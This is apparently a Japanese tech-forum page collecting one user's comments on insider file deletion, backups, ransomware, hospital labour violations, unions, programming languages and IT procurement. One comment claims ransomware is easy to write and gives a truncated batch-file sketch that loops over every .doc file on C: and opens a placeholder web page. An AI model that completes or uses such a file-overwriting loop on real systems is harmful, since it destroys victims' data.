narunaruのコメント: Re:システムに設定ミスがあり、男性職員は9月中旬まで旧所属のファイルにアクセスできたという。 (スコア 1) 40
消されたら困るような重要なファイルなのに、バックアップも取ってないの?
それともバックアップにアクセス出来るような権限まで与えてたの?
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消されたら困るような重要なファイルなのに、バックアップも取ってないの?
それともバックアップにアクセス出来るような権限まで与えてたの?
ランサムウェアを作るだけなら、技術的には簡単。
実用性ではこんなんでも十分。
別に元に戻せる必要はないからな。
for /r C:\ %i in (*.doc) do copy ~
start http://example/
WannaCryブームもありましたしね。
ランサムウェアの身代金支払いのために、一時的にBitCoin価格が上がっているのかもよ。
生活直撃しそうなのは聖路加病院、熊本大学医学部附属病院、沖縄県立北部病院の労働基準法違反での摘発とかかな。
http://medical.nikkeibp.co.jp/leaf/mem/pub/report/t291/201705/551216.html
今後、多くの病院で夜間診療や、休日診療、救急医療が制限される可能性が。
ただでさえ小児夜間救急とか受け入れ先少なくて困ってるのに、今後どうなるんだろ?
実際に復元テストしようにも、テスト用の復元先環境なんか、オンプレミスだと用意して貰えないって事の方が多い気がする。
一応罰則はあるよ。最悪の場合は取締役が懲役刑となる。
実際に損害を受けた人への賠償を優先するという考え方から、法人に対する罰則はほぼ無いけど、その代わりに取締役に懲役刑をかすことで抑止力としている。
今までは、改善の意思さえ示せばなぁなぁで済ませて、数年後に再調査がはいったりする。
書類送検に至るのは極めて悪質な場合だけだった。
電通の件もだけど、今後はなぁなぁでは済ませずに、きっちり司法の場に持ち込みますよって現政権の意思表示なのだと思う。
自社独自の統合開発環境とか突っ込めば、2年目以降はがっぽり儲けられるかな。
精神的なケア云々はともかくとして、実務的にも一日くらい休みを取らないと、死体処理の都合がね・・・次の週末まで保管しとくって訳にも行かないし。
火葬するにしても予約入れて、持ち込んで、骨になるのを待って・・・と半日はかかる。
ゴミとして焼却するにしても、可燃ゴミとしてゴミ集積場に出すことは認めてない自治体が多い。ゴミ処理場の営業時間内に直接持ち込まないと受け付けてくれない。
労働組合はあったが崩壊した。
組織の利益=労働組合の利益≠労働者の利益と化したからな。
本来必要なのは職能組合なのだろう。
職能組合があれば、職能ごとの賃金分布とか集計とれるだろうし、自身の市場価値も正確に推測できる。就職して初めて実態賃金がわかるなんて馬鹿な状況も一掃されるだろう。
1993年の北海道南西沖地震が破壊消化を実施した最後の記録のようです。
延焼していない構造物を破壊した場合、消火活動を行った自治体が壊した分の賠償責任を負うことが法で定められています。残念ながら破壊消化を前提とした法律ではなく、消防車が立ち入れない路地などで塀や家屋の一部を破壊した場合の法律です。法律上出来ないわけではないのだけど、実施に踏み切るには相当な英断が必要になりますね。
Java仮想マシン使うような言語も巻き添えでオワコンだろう。
パフォーマンスが必要な要件だったら最初っからC/C++で書けばよい。
パフォーマンスいらないならPythonとかRubyとかで良い。
開発スピード優先するならGoとかも良い。
実際、現状のトラブルの頻度とか考えると、メインに使用するPCにはLTS使っとけという気がする。
Scienceではなく、Engineering
自分で詳しく分からない物を発注するときには、相見積もりを取って、中央価格を出したところに発注しろって、ばっちゃが言ってた。
自分たちで設計したり、実装したりする能力が無いなら、うかつに最安値に落札させちゃ駄目だろ。
土建関係は自分たちでコスト見積もって最低落札価格を決めるって事をして、ダンピング受注を防いでいる。
情報システムだって同じように自分たちで最低落札価格を見積か、それが出来ないなら最安値では無く中央値に発注すべき。
機知の回路ブロックの組み合わせで実現できるような回路は、既に自動化の対象になっているかと。
人間に残った仕事は、未知の回路を考案する仕事とかですね。
専門性の低い領域は、機械に任せようとすると割高になることも多く、人間の作業として残っていく。専門性のきわめて高い領域は、機械に任せることが困難である故に残っていくかと。
専門性が中途半端な領域が機械化されることで、高度な専門性を持つ人材が育つことが出来なくなり、人材の枯渇が発生する可能性があるのが苦しいところですね。
アレゲは一日にしてならず -- アレゲ研究家